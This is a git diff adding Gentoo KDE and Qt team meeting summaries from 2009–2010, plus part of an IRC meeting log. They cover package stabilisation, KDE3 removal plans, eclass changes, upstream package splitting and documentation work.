+since next meeting the code will be considered final, and not folowing it will be punished
+
+relwithdebuginfo:
+deffered after some work on it, not worth efforts
+
+GUIDE:
+tampakrap promised to write the guide for kde3/4 mix that will cover also kde4 installing
+
+kdebindings:
+scarabeus + reaver: invent some logic there; delegate work to other HTs
+
+sabayon:
+discuss the topic more with joost_op at some other more convinient time
+so far done ->
+bugs from ppl with @sabayonlinux.org will be handled legitimely as our bugs
+and we will reflect them as HTs for kde team so we dont have recheck reported things (aka we trust sabayon devs :})
+
+------------------------------------------------
+Qt topics
+------------------------------------------------
+
+Rollcall Qt herd
+----------------
+
+- hwoarang, tampakrap, yngwin present
+- carlo absent
+- recruits wired, Pesa and spatz present
+
+
+Meeting length
+--------------
+
+The KDE Project meeting was going on for too long, all agreed. It was suggested
+that it would be good to have more frequent and shorter meetings. Also, Qt
+topics could be discussed early in the meeting. Details will be discussed at
+another time.
+
+
+Phonon issues
+-------------
+
+KDE herd has asked us to introduce a kde useflag for ebuilds depending on::
+	|| ( x11-libs/qt-phonon media-sound/phonon )
+so that media-sound/phonon can be preferred for KDE users, as a workaround for
+current portage shortcomings. yngwin will work out a proposal for affected Qt
+ebuilds.
+
+Also, the suggestion was offered to split the backends from phonon into
+separate packages (gstreamer from qt-phonon, and xine from kde's phonon), so we
+could have one phonon core package (most likely x11-libs/qt-phonon). It was
+decided that this is worth looking into.
+
+
+Recruits
+--------
+
+As to the status of recruits for the Qt team: 
+
+- wired is done with the quizzes, so he only needs grilling by a recruiter and
+  can be expected to become a full dev within the next few weeks
+- Pesa has been very active already in contributing
+- spatz just joined us as newest recruit
+- sping is busy with GSoC and will continue recruitment process after that, he
+  is especially interested in Qt3/KDE3 maintenance
+
+
+Qt status in tree
+-----------------
+
+- bug 266201: 4.5.1 is going stable, but arches are taking their time (only
+  alpha and ppc so far)
+- bug 270475: bug in the eclass about the platform switch, which affects
+  chroots and some arches like ppc, a solution is being worked on in the 
+  overlay
+- bug 235685: webkit sigbus on sparc, we will try to get upstream to fix it, in
+  the meantime we can use a patch on sparc only (and maybe on other arches like
+  alpha)
+- bug 270769: ppc rendering fix will be fast-tracked for stabilization
+- bug 209626: make qt eclasses ready for eclass-manpages, hwoarang offered to
+  take care of this
+- bug 224951: qt4-qtruby has been hardmasked for a while, so we should fix or
+  remove the package; decided we'll work on it to see if it's fixable,
+  otherwise ask ruby herd to agree with removal; yngwin will commit his
+  intermediate work to overlay
+- bug 236341: Pesa and hwoarang will work on removing automagic deps from PyQt4
+- bug 43827: qvfb and related embedded ebuilds could be proxy-maintained, we
+  will approach users that might be interested
+
+
+Overlay
+-------
+
+As mentioned during the discussion of the KDE overlay's CODE document, we
+should start using similar commit policies, especially starting the commit
+message with $PN.
+
+Both 4.5.9999 and 4.9999 versions of Qt ebuilds in overlay are actively
+maintained and used, so status is OK.
+
+A lot of packages are being moved from overlay to the official tree, so work
+there is progressing well. Pesa will work with ali_bush to get the latest
+version of qtjambi into the tree.
+
+
+Eclasses
+--------
+
+There has been discussion on -dev ML about blocking mixed Qt versions. Paludis
+doesn't handle the blocks and dependencies the same way portage does, but it 
+was concluded that the proposal currently in overlay, which works fine with
+portage, is the best solution so far, so we will go ahead and implement that in
+the official tree as well.
+
+It was also decided to remove the custom-cxxflags useflag and the default
+strip-flags from the qt4-build.eclass, as testing has shown that Qt is not as
+sensitive to optimized flags anymore. We will let this change coincide with
+committing the 4.5.2 (next release) ebuilds into the official tree.
+
+There has been a lot of development going on in the qt4-edge.eclass (the
+overlay version of qt4.eclass). We have implemented additional default phases
+for src_configure and src_install, the eqmake4 function has seen a lot of
+improvements, and there is experimental functionality for handling translation
+files.
+
+We decided to add that as a new eclass to the official tree, once the ongoing
+work on eqmake4 and translations crystalizes. We will then mark the old eclass
+as deprecated and open a tracker bug for migration of packages to the new
+eclass. There was some brainstorming about naming the new eclass, but
+bikeshedding is to be continued outside of the meeting.
+
+
+Elected Qt team lead
+--------------------
+
+As we are now a fast growing team, yngwin felt the need to bring up the issue
+of elections for a Qt team lead, as he assumed the position when no one was
+looking after qt herd. The decision was this is not needed, as the team members
+are unanimously happy with the current situation of yngwin being the de facto
+leader.
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20090618.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20090618.txt
new file mode 100644
index 00000000..1a7b140a
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20090618.txt
@@ -0,0 +1,51 @@
+Rollcall:
+yngwin, scarabeus, tampakrap (delayed), hwoarang, spatz, Pessa, alexxy, reavertm, wired, patrick, jmbsvicetto (late)
+Carlo: slackermark
+
+Topics:
+
+Formulate some kind of official policy for qt3 apps and their future
+- Qt3 apps will follow the KDE3 example and will share one overlay for the stuff with it. Users will maintain it.
+- Addition to main tree of new Qt3 apps is *highly* discouraged.
+- Qt3 useflag is being marked as discouraged (removal from profiles and so on) since NOW :]
+- A draft with ideas for it will be sent to the -dev ml by yngwin
+
+Solving the python issues within KDE4 - currently with +kdeprefix KDE 4.2 and 4.3 can't live next to each other due to packages installed into site-packages for python.
+- the issues running new pykde with old pykde using apps must be tested (pykde from 4.3 and python apps from 4.2)
+- if above test prove not working, KDE misc apps will be forced to look into slotted dir in site-packages folder
+- will be done by reavertm and patrick
+- this issue is a stabilisation blocker
+
+Solving the final question about kdeprefix.
+- voting about kdeprefix mask in profiles (users can still unmask it, but kde is not as solid as with -kdeprefix)
+For this vote our HT reavertm was allowed to vote since he is one of the few whom spent their time on it and are capable of handling kdeprefix.
+reavertm = mask
+scarabeus = mask
+jmbsvicetto = can live with mask
+patrick = abstain
+alexxy = mask
+- outcome was that it will be masked in profiles.
+- alexxy will add the mask and adjust the guide.
+
+Handle the PyQt3 qscintilla dependencies
+- it seems that the Qt team has not decided if there is an issue or not. :P
+- it will probably be mostly fixed by removal of Qt3 from profile. See topic no. 1.
+- amarok will have python useflag removed and needed scripts will be removed
+- introduce blocker between PyQt and PyQt4
+
+KDE 4 Stabilisation.
+- Jorge decided to target 4.2 for stabilisation.
+- stabilisation bug will have to be opened
+- tracking bug will have to be opened and bugs wrangled (volunteers??)
+
+Review the useflags we enable by default in Qt herd
+- rename gtkstyle to gtk in qt-gui
+- drop IUSE defaults for useflags enabled by desktop profiles
+
+Progress of KDE3 mess and way how anyone can help (here we call even for non-kdeteam devs)
+- KDE3 misc apps are slowly moving forward
+  mail to dev asking for help :]
+- arts flag removal is also slowly moving
+  (scarabeus will remove optional dep on arts by blocking it in eclass if scarabeus get some time, or anyone else can do it)
+  mail the dev ml announcing its death, and asking maintainers for cooperation.
+- mail the dev ml announcing we need some KDE3 dedicated dev
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20090820.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20090820.txt
new file mode 100644
index 00000000..280f93b0
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20090820.txt
@@ -0,0 +1,41 @@
+Roll-call:
+pesa - excused (no net)
+tampakrap - excused (family issues)
+scarabeus, ABCD, ayoy, patrick, dagger, jmbsvicetto, revartm, wired, yngwin
+
+KDE-3:
+- As discussed before, the KDE team is going to move all KDE3 ebuilds to an overlay. The new
+overlay hasn'te been named yet, but will probably be called kde-junk, kde-sunset or something
+similar as we plan to use it for KDE stuff that is removed from the tree.
+KDE3 is going to be moved to the overlay  either after KDE-4.4 is out if nothing evil happens,
+or after we get 2 KDE4 minor versions marked stable - which likely means around the end of
+the year.
+- We are still looking for KDE maintainers. It seems sping might be interested - yngwin will
+talk to him.
+- Due to the current state of the KDE3 tree source, the lack of support by upstream and the
+increasing security concerns, it's likely that we'll mask KDE3 soon. We're delaying the mask
+until we get a version of KDE4 marked stable - unless more security issues crop up.
+We plan to make an anouncement on Gentoo homepage and to write a news item about the status
+of the KDE3 tree and the security implications.
+We plan to keep KDE3 around in the tree until KDE-4.4 is released (but it will likely remain
+masked) until it's moved to the new overlay.
+- Before we remove KDE3 from the tree, we plan to have a news item, planet blog entries, forums
+thread and front page announcement about it so the kde3ers won't scream for help all over the
+place -  jmbsvicetto.
+
+KDE-4:
+- It was decided by a vote not to ask for 4.2.4 stabilization. It will be dropped from the tree.
+- Instead, the current plan is to get 4.3.1 marked stable. For that, we need to focus on the
+bugs in the tracker[1] and everyone needs to work on it.
+
+QT4-TNG eclass:
+Will be sent for review onto -dev in a week with the -tng name. No better name found out.
+
+Future projects:
+- Documentation polishing
+- Branding the KDE
+- Fix upstream buildsystem to allow install of different versions into a shared prefix
+
+Sets:
+. Adjust it as for bug #272488 or from the ground up for exact specs we need -
+jmbsvicetto (we need to poke him about it often so he won't forget to do it)
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20100225.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20100225.txt
new file mode 100644
index 00000000..38e8cd46
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20100225.txt
@@ -0,0 +1,66 @@
+1) New KDE Team Leader elections:
+Scarabeus is the new leader with the majority of votes, congratulations
+
+2) Review work flow for KDE minor bumps and improve collaboration with arch teams
+We decided to skip this topic for next meeting, after preparing some documentation
+on how arch teams can approach packages in the kde overlay.  For the record, scarabeus
+proposed this model: (1) BUG (2) keywordlist (3) portage addition (4) touching profiles
+while jmbsvicetto proposed first to ask arch teams to test new deps in the overlay, if
+they don't want to use the overlay, try to add a snapshot or an early release masked in
+tree and ask them to keyword it, then follow scarabeus' policy.
+
+3) KDE-4.3.5 stabilization
+The KDE team is ready on this, we are just waiting for arches to finish. When they
+do, we will remove both 4.3.3 and 4.3.4 from tree.
+
+4) KDE-4.4 status
+4.4.0 seems very unstable, people are hitting crashes with krunner and plasma, and 
+the virtuoso migration was not smooth for everyone. Thus, we agreed that 4.4.1 or 
+4.4.2 will be a stable candidate, depending of the status of 4.4.1.
+
+5) amarok / mysql-5.1 status
+jmbsvicetto reported that it seems to work for most people for the past three days as
+noone complained. Just amarok[embedded] needs a libmysqld.so as mysql-5.0 did. Jmbsvicetto
+said he resumed his work to get a working patch again.
+
+6) enterprise useflag for kdepim stuff (a use flag to follow the enterprise branch of the
+kdepim repo, only for trunk)
+The problem is that kdepim in trunk currently is broken, more specifically kmail as mail
+storage is being migrated to akonadi, and it seems it will stay broken for a while. Tampakrap
+tried to package the enterprise branch a week ago, but some packages failed to compile, so 
+it may need more work. There is also an enterprise switch in CMakeLists.txt, but since we are
+splitting the module, we need a new batch kdepim ebuilds that will block the current kdepim ones.
+This will allow us to have an always working kdepim though. It seems a lot of work that noone
+seemed interested to do, so we decided to announce it in gentoo-desktop mailing list and call 
+for help. Tampakrap will do it.
+Speaking of trunk, we also discussed about the 4.5 snapshots, and if we should provide them. We
+decided that since kdepim is broken, we won't package them yet, until version 4.4.70. Alexxy 
+will take care of them.
+
+7) koffice status
+Scarabeus said that current koffice needs review of its depedencies based on CMakeLists.txt. 
+Tampakrap will do it and bump it in tree.
+
+8) knetworkmanager status
+Tampakrap said that knetworkmanager seems crashy, but people want it, so we will ask dagger to
+create snapshot, as he is the networkmanager maintainer.
+
+9) documentation status
+Documentation seems fine, reavertm proposed to remove kdeprefix and maybe sets refference from
+the guide. Tampakrap will take care of it.
+Scarabeus with the help of jmbsvicetto will clean up the member list.
+
+10) drop prefixes from kde ebuilds (like kdeartwork etc)
+Noone agreed on this.
+
+11) change kde-meta (and @kde-*) to include all modules (plus the developer specific ones)
+Tampakrap proposed to have every single KDE module in kde-meta (including the developer ones
+like kdesdk and kdewebdev). Many members were opposed, so the idea of a developer USE flag
+for kde-meta was introduced. The discussion will be continued in gentoo-desktop mailing list.
+
+12) stabilization of misc kde apps
+Wired owes us a script that checks for stable candidates in tree.
+
+13) patches of kde-packager
+Jmbsvicetto and ABCD will take care of applying or opening bugs about patches that were
+announced in kde-packager mailing list and need to be applied.
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20100318.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20100318.txt
new file mode 100644
index 00000000..1c4f5dbb
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20100318.txt
@@ -0,0 +1,38 @@
+1) Removal of innactive KDE team members
+Since there were no objections last month for scarabeus' draft, he'll proceed in
+removing some members that don't follow the rules. The draft is at
+http://dev.gentoo.org/~scarabeus/kde-team-rules.html
+
+2) Review work flow for KDE minor bumps and improve collaboration with arch teams
+Nothing more was to be said from the last meeting, both scarabeus and jmbsvicetto's
+proposals were accepted.
+
+3) KDE-4.4 status
+4.4.1 seems to be a good release, with not many problems so far. Also, there were
+people working on the kdebindings which was suffering mostly. It will be a stable
+candidate, and the bug will be openned at start of next month.
+
+5) enterprise useflag for kdepim stuff (a use flag to follow the enterprise branch of the
+kdepim repo, only for trunk)
+The call for help didn't bring in any volunteers, so there was no progress on this. Sput told
+that this is very important to be fixed, as kdepim may not be ready for KDE 4.5. Tampakrap will
+try again to raise the issue in ml.
+
+7) koffice status
+KOffice still is in bad status, tampakrap and wired will work on this.
+
+8) change kde-meta (and @kde-*) to include all modules (plus the developer specific ones)
+Following last meeting's discussion on this, tampakrap opened a mail asking for people's
+opinion on this in the gentoo-desktop mailing list, and many people liked the idea. So,
+with scarabeus' permission, tampakrap will add this to kde-meta ebuilds. Kdebindings will
+stay out for now until they all compile.
+
+9) patches of kde-packager
+No actions were done on this, jmbsvicetto said he'll try to take care of it.
+
+10) Split desktop profile
+After a long discussion in gentoo-dev and gentoo-desktop mailing lists, and with the
+approval of the gnome and qt teams (the leads mostly, leio and yngwin), tampakrap
+will finally split the desktop profile to kde and gnome subprofiles. Leio raised the
+need of a better profile system that will support mixed profiles. Tampakrap liked the
+idea and is willing to work on this, but it is going to be long-term
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20100604.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20100604.txt
new file mode 100644
index 00000000..dcd7c9be
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-summary-20100604.txt
@@ -0,0 +1,21 @@
+Meeting topics:
+0) roll-call
+ABCD, alexxy, dilfridge, wired, scarabeus, deathwing00, patrick, jmbsvicetto
+1) KDE 4.4 Stabilisation process. - creating stable team within kde team
+We will add 4.4.4 to main tree, and start the required processes 7 days from that point.
+No stable team since noone volunteer.
+2) KDE 4.5 KDEPIM approach
+  a. give developers one week to express what they feel about kdepim and to see if anyone volunteers to work on it
+  b. if that fails or we can't find anyone willing to do it, make a public announcement about the issue, explain it and give a few options to users:
+  b.1 have interested parties show up and work in the overlay to get it done - (what can be given as option to the community)
+  b.2 have users vote for us to just ignore kdepim until it gets working
+  b.3 give the above 3 options for someone to work on
+3) Koffice 2.2 and designated maintainer choice
+we shall try same approach as for kdepim to see if anyone is interested
+4) Accepting major patches that alter stable branch (pulseaudio) [vote]
+so lets keep status "if you keep it backported and polished you can have it..." together with the old "you break it, you fix it"
+5) People in the team and their inactivity
+Everyone in team is asked to reconsider their status. If they are not really active team members they should just remove themselves.
+Everyone with no evident work on kde packages for last 2 months will be removed from the team.
+Anyone who wants to join back or just join is welcome and just need to ask and be active.
+6) open floor
\ No newline at end of file
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-qt-projects-meeting-log-20091119.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-qt-projects-meeting-log-20091119.txt
new file mode 100644
index 00000000..7f1c17b5
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-qt-projects-meeting-log-20091119.txt
@@ -0,0 +1,959 @@
+[20:45:05] <wired> toum toum
+[20:46:51] <yngwin> sssh
+[20:48:34] *** scarabeus changes topic to 'KDE Team meeting 19.11. 19:00 UTC: Topic 1: Upstream split packages (per kde-scm-interest mail i told you to read)'
+[20:52:39] *** Joins: zizo (n=Zizo@host214-182-dynamic.4-87-r.retail.telecomitalia.it)
+[20:52:59] *** Parts: zizo (n=Zizo@host214-182-dynamic.4-87-r.retail.telecomitalia.it)
+[20:56:35] *** Joins: PSYCHO___ (n=scarabeu@gentoo/developer/scarabeus)
+[20:56:35] *** ChanServ sets mode: +o PSYCHO___ 
+[20:57:05] <wired> darn 3g con
+[20:59:38] <wired> so... meeting time? :)
+[21:01:16] <yngwin> yup
+[21:01:19] <PSYCHO___> indeed
+[21:01:27] <PSYCHO___> anyone can record the histroy?
+[21:01:38] <PSYCHO___> i cant log, because quassel is not entirely cooperating right now
+[21:01:39] * wired logging
+[21:01:48] <PSYCHO___> for the log <- scarabeus
+[21:02:04] <PSYCHO___> ok so lets start with rollcall
+[21:02:05] <wired> even if I seem down my znc/bouncer will keep logging, im on a 3g connection right now (dsl is down)
+[21:02:33] *** Joins: spatz (n=spatz@gentoo/developer/spatz)
+[21:03:18] *** Joins: ayoy (n=ayoy@gentoo/developer/ayoy)
+[21:03:39] *** Joins: mrpouet (n=quassel@gentoo/developer/mrpouet)
+[21:03:45] <PSYCHO___> ok so anyone else here?
+[21:04:02] *** Joins: wohnout (n=wohnout@88.86.113.238)
+[21:04:02] <spatz> me
+[21:04:09] <tampakrap> you are so lame
+[21:04:11] <dagger> me
+[21:04:12] <tampakrap> !herd kde
+[21:04:13] <Willikins> (kde) abcd, alexxy, carlo, cryos, dagger, deathwing00, jmbsvicetto, keytoaster, lxnay, mrpouet, patrick, scarabeus, spatz, sping, ssuominen, tampakrap, tgurr, wired
+[21:04:13] * wired here
+[21:04:13] <mrpouet> and me
+[21:04:17] <tampakrap> !herd qt
+[21:04:18] <Willikins> (qt) abcd, ayoy, carlo, hwoarang, spatz, tampakrap, wired, yngwin
+[21:04:18] <wohnout> PSYCHO___: stop talking and start working
+[21:04:19] <tampakrap> roll call
+[21:04:22] <yngwin> present
+[21:04:22] <PSYCHO___> :D
+[21:04:24] <ayoy> I'm here
+[21:04:27] <spatz> HERE
+[21:04:46] <spatz> only qt people
+[21:04:52] <PSYCHO___> spatz: it is required only to say it once
+[21:04:53] <DrEeevil> mostly present
+[21:04:58] <mrpouet> while(1) printf("HERE\n");   :D
+[21:05:03] <spatz> PSYCHO___: here :D
+[21:05:04] <mrpouet> okay ==> [ ]
+[21:05:34] <wired> some get kde 3.5 killer... errr.... ssuominen here as well! :P
+[21:05:43] <PSYCHO___> ok thats not exactly attendance i expected
+[21:06:10] <wired> scarabeus: lets wait at least 5 more minutes
+[21:06:42] <wired> im also worried that some people might show up in an hour or so...
+[21:06:46] <PSYCHO___> ok
+[21:06:59] <spatz> because of DST?
+[21:07:04] *** Joins: Sput (n=sputnick@quassel/developer/sput)
+[21:07:04] <wired> yeah
+[21:07:15] <wired> happened last time
+[21:07:23] <PSYCHO___> they can use date -u
+[21:07:29] <PSYCHO___> so thats not exactly excuse
+[21:07:45] <wired> no'ones trying to excuse them
+[21:07:47] <yngwin> dst stinks
+[21:07:47] <wired> :P
+[21:07:56] * spatz uses date -u
+[21:09:17] <ayoy> so?
+[21:09:28] <wired> so
+[21:09:28] <yngwin> agenda?
+[21:09:30] <wired> time's up, lets go!
+[21:09:42] <PSYCHO___> yngwin: agenda is on -desktop-ml in that mails
+[21:09:43] <wired> scarb has first item @ /topic
+[21:10:00] <PSYCHO___> i will put them onto the topic as we will be going
+[21:10:03] <yngwin> thats scattered
+[21:10:22] * wired fixes agenda
+[21:12:07] <wired> ok
+[21:12:09] <wired> agenda: http://dpaste.com/122485/
+[21:12:30] <yngwin> thanks
+[21:12:32] <wired> read it while i clean it up a bit
+[21:13:00] <ayoy> what about starting from Qt since KDE has a lot to talk about?
+[21:13:52] <PSYCHO___> Ingmar: btw are you around?
+[21:14:14] <wired> updated agenda: http://dpaste.com/122486/
+[21:14:36] <wired> ok lets roll
+[21:14:51] <wired> 21.15 already
+[21:14:58] <ayoy> true
+[21:15:03] <yngwin> PSYCHO___: are you presiding?
+[21:16:02] <PSYCHO___> ok so lets start
+[21:16:06] <PSYCHO___> i was smashing my net a bit
+[21:16:48] <wohnout> internet has swine flu
+[21:17:26] <PSYCHO___> yeah looks so
+[21:17:29] * wired whistles
+[21:17:36] <PSYCHO___> !herd kde
+[21:17:37] <Willikins> PSYCHO___: (kde) abcd, alexxy, carlo, cryos, dagger, deathwing00, jmbsvicetto, keytoaster, lxnay, mrpouet, patrick, scarabeus, spatz, sping, ssuominen, tampakrap, tgurr, wired
+[21:17:38] <mrpouet> aarfff dinner time :(
+[21:17:42] <PSYCHO___> so listen up
+[21:18:08] <PSYCHO___> anyone of you did read that mail from Ingmar? or you just idled like usual?
+[21:18:21] <tampakrap> yes we did
+[21:18:22] * spatz read it
+[21:18:25] * wired did read it 
+[21:18:27] <dagger> i did
+[21:18:36] <PSYCHO___> http://article.gmane.org/gmane.comp.kde.scm-interest/724
+[21:18:46] <PSYCHO___> there is my response to that mail thread
+[21:19:06] <tampakrap> give us a min to read
+[21:19:08] <PSYCHO___> it is how i imagine layout that would suit us packagesr best
+[21:20:29] *** Joins: j0 (n=quassel@g227216073.adsl.alicedsl.de)
+[21:20:29] <PSYCHO___> anyway the question that waits here: "Is anyone willing to work on this?"
+[21:21:15] <tampakrap> yes
+[21:21:26] <tampakrap> did you get any response from upstream?
+[21:21:33] <scarabeus> nope, this mail is last in that thread
+[21:22:16] <tampakrap> so we are waiting until upstream responds to that first, or not?
+[21:22:39] <scarabeus> actualy nope, i expect someone coordinate with ingmar and prepare full proposal to them
+[21:22:55] <scarabeus> because my 6 lines about layout are not exactly "full proposal"
+[21:23:00] <wired> upstream surely knew we have split kde
+[21:23:11] <tampakrap> yes they do
+[21:23:12] <wired> the real question is, do they really want to take this route?
+[21:23:40] <scarabeus> well some stated that they would like it, some otherwise
+[21:23:48] <tampakrap> i've also seen discussions about splitting in the past going nowhere (two at least) but never mind
+[21:24:10] <scarabeus> well this time they are migrating to another SCM so it might have better chance to win :]
+[21:24:18] <tampakrap> agreed
+[21:24:42] <tampakrap> does Ingmar (ping) have anything else to say in this topic? (apart from what you said in the mail?)
+[21:25:19] <scarabeus> well he is aparently not around, so the interested person will have to mail him or irc him at some better time
+[21:25:30] <spatz> do binary distros (pretty much everybody) have split packages or monolithic ones?
+[21:25:46] <wired> debian has them split
+[21:25:52] <wired> after compilation tho
+[21:25:56] <Ingmar> hello
+[21:26:05] <tampakrap> they compile them in monolithic way and ship them in split way
+[21:26:08] <wired> hey Ingmar 
+[21:26:09] <Ingmar> scarabeus, tampakrap hi
+[21:26:18] <tampakrap> hello
+[21:26:54] <spatz> doesn't matter how they do it, only whether they do it. if this change forces everybody to split their packages whereas now they have monolithic ones we might face some opposition
+[21:26:56] <Ingmar> scarabeus: as you said, i'd like to see upstream move to a buildsystem layout more similar to what xorg has
+[21:27:19] <Ingmar> scarabeus: i'm less interested in splitting out the libs, or base, but the debian packager i talked to found that more important than anything else
+[21:27:34] <tampakrap> spatz: other distros follow upstream's way, so they will be forced to change it
+[21:27:36] <Ingmar> presumably because they can easily split the rest after buil
+[21:27:39] <Ingmar> d
+[21:27:45] <Ingmar> s/can/can & already do/
+[21:28:21] <scarabeus> well from what we can say the initiative to do the thing will have to cover 2 areas) explaining what to do and how ) showing some example repo done that way
+[21:29:04] <Ingmar> yeah
+[21:30:04] <scarabeus> so ANY volunteers for this?
+[21:30:09] <tampakrap> yes
+[21:30:21] <tampakrap> and you?
+[21:30:29] <scarabeus> Ingmar: also i would like to see at least one relevant upstream guy acking that we are not just wasting our time
+[21:30:30] <Ingmar> I am, obviously :)
+[21:31:01] <Ingmar> well, let's start with a proof of concept for one module
+[21:31:04] <scarabeus> i myself will try to help
+[21:31:48] <Ingmar> i'd put together a proof of cencept first & see what they say on the relevant mailinglists
+[21:32:01] <scarabeus> ok that sounds reasonable
+[21:32:12] <scarabeus> splitting kdenetwork or kdeedu might be quite easy
+[21:32:24] <tampakrap> Ingmar: did you get any affirmative responses from other packagers (and more importantly) by any upstream developer?
+[21:32:51] <Ingmar> scarabeus: i was thinking kdenetworok, so yeah :)
+[21:33:09] <Ingmar> tampakrap: packagers yes (debian & gentoo, didn't ask anyone else), didn't ask any specific upstream devs
+[21:33:20] <tampakrap> ok
+[21:33:33] <scarabeus> Ingmar: also we should steal some irc channel to have it covered, i guess we cant chit-chat on g-kde or e-kde since its bit offtopic :]
+[21:33:36] <Ingmar> on the kde-scm-interest ml, some were in favor, and some where against
+[21:34:16] <scarabeus> any name ideas? :]
+[21:34:39] <wired> #kde-split
+[21:34:41] <Ingmar>  /j #kde-build-split :)
+[21:34:48] <scarabeus> ok
+[21:35:01] *** Parts: wohnout (n=wohnout@88.86.113.238)
+[21:35:23] <Ingmar> anything else on the subject?
+[21:35:36] <PSYCHO___> i would say that for meeting we covered it
+[21:35:46] <PSYCHO___> i personaly will try to motivate few more people
+[21:35:52] <PSYCHO___> but that is non-meeting subject :]
+[21:36:03] <tampakrap> Ingmar: apart from kde-scn-interest ml, any other mailing lists you'd like to see us subscribed?
+[21:36:55] <Ingmar> kde-buildsystem
+[21:37:08] <Ingmar> well, if you have more minions, you know where to send them :)
+[21:37:20] <tampakrap> okz
+[21:37:41] <tampakrap> ok i think we're done with this for now
+[21:37:48] <tampakrap> next topic plz?
+[21:37:54] <spatz> first topic plz :)
+[21:37:55] <scarabeus> tampakrap: now something qt i would say
+[21:38:00] <scarabeus> since there is more qters
+[21:38:09] <wired> scarabeus: lets just do the agenda?!
+[21:38:27] <scarabeus> as you wish
+[21:38:33] <scarabeus> ok documentation
+[21:38:41] *** scarabeus changes topic to 'KDE Team meeting 19.11. 19:00 UTC: Topic 1: Documentation'
+[21:38:43] <spatz> stabilization first
+[21:38:44] *** scarabeus changes topic to 'KDE Team meeting 19.11. 19:00 UTC: Topic 2: Documentation'
+[21:38:54] <wired> http://dpaste.com/122486/
+[21:38:56] *** scarabeus changes topic to 'KDE Team meeting 19.11. 19:00 UTC: Topic 1: stabilisation'
+[21:39:35] <PSYCHO___> ok so since only samuli is working on it with me has anyone looked on the bug
+[21:39:43] <PSYCHO___> or attempted to fix blocker bugs
+[21:40:04] <tampakrap> bug # plz?
+[21:40:15] * wired hasn't looked at kde 4.3.3 bugs lately, but will
+[21:40:25] <spatz> bgu 292455
+[21:40:26] <spatz> bug 292455
+[21:40:28] <Willikins> spatz: https://bugs.gentoo.org/292455 "KDE 4.3.3 stabilization request"; Gentoo Linux, Applications; NEW; ssuominen@g.o:kde@g.o
+[21:40:41] <PSYCHO___> bug 2: Documentation
+[21:40:43] <PSYCHO___> erm
+[21:40:43] <Willikins> PSYCHO___: https://bugs.gentoo.org/2 "How do I attach an ebuild."; Gentoo Linux, Ebuilds; RESO, FIXE; tneidt@fidnet.com:hallski@g.o
+[21:40:45] <PSYCHO___> damn this
+[21:40:49] <PSYCHO___> as spatz said
+[21:40:51] <wired> lolz
+[21:41:02] <spatz> lol
+[21:41:28] <wired> so 13 bugs
+[21:41:47] <wired> i can try to help this weekend
+[21:41:50] <PSYCHO___> i want each member of kde team to fix at least 1
+[21:42:28] <tampakrap> 12 bugs, 3 stable req and 1 keyword req
+[21:42:29] <PSYCHO___> also i want someone to look on current open bugs
+[21:42:40] <PSYCHO___> and decide which should be blocking the stabling
+[21:42:50] <PSYCHO___> and on this i want volunteer that will actualy do it
+[21:43:05] <tampakrap> and also close the remaining kde3 bugz
+[21:43:13] <spatz> we can't really do much with keyword/stable requests
+[21:43:43] <PSYCHO___> are still there are normal bugs, and not all bugs are now blocking the stabilisation even if they should
+[21:43:47] <PSYCHO___> so who will do it
+[21:45:13] <tampakrap> ok i'll do it since noone is interested
+[21:45:19] <tampakrap> meaning the bug wrangling
+[21:46:11] *** PSYCHO___ changes topic to 'KDE Team meeting 19.11. 19:00 UTC: Topic 2: documentation'
+[21:46:12] <PSYCHO___> ok
+[21:46:19] <PSYCHO___> next topic
+[21:46:41] <PSYCHO___> as i stated
+[21:46:54] <PSYCHO___> I want devoted person focusing on updating our documentation with nedy
+[21:47:02] <mrpouet> as wired I can try to help this week end (I've an exam tomorrow and I've to finish a project)
+[21:47:04] <tampakrap> yes but i disagree with that
+[21:47:45] <PSYCHO___> tampakrap: so how would you do the documetnation
+[21:47:53] <tampakrap> everyone of us should just realize that documentation is *VERY* important and write two words before a major update or whatever
+[21:48:01] <tampakrap> apart from that i have another idea that you may like
+[21:48:31] *** Joins: ssuominen (n=ssuomine@gentoo/developer/ssuominen)
+[21:48:38] <PSYCHO___> speak up :]
+[21:48:43] <tampakrap> since guidexml requires gorg in order to have a fully rendered (human readable) doc
+[21:49:15] <tampakrap> i have created an svn repo in my home server that checks out through a hook to a gorg-accessible path
+[21:49:22] <tampakrap> so it can be read immediatelly
+[21:49:48] <tampakrap> i can give access to the team here to my home server so we can *ALL* (and i mean ALL, even HTs) develop the guide
+[21:49:56] <tampakrap> no excuses about permissions etc
+[21:50:13] <tampakrap> unless you can provide us such a hook, since you have access in overlays.g.o
+[21:50:14] <PSYCHO___> well that was done even on git server remember
+[21:50:16] <mrpouet> I agree, so +1
+[21:50:27] <PSYCHO___> i wrote complete guide in overlay as non-dev
+[21:50:59] <tampakrap> yes but i'm talking about an immediate co to an xml gentoo.org-like site
+[21:51:17] <tampakrap> which makes things easier
+[21:51:25] <yngwin> this once again shows the shortcomings of guidexml
+[21:51:42] <PSYCHO___> well ok
+[21:51:48] <PSYCHO___> tampakrap: you then write up something and enforce it
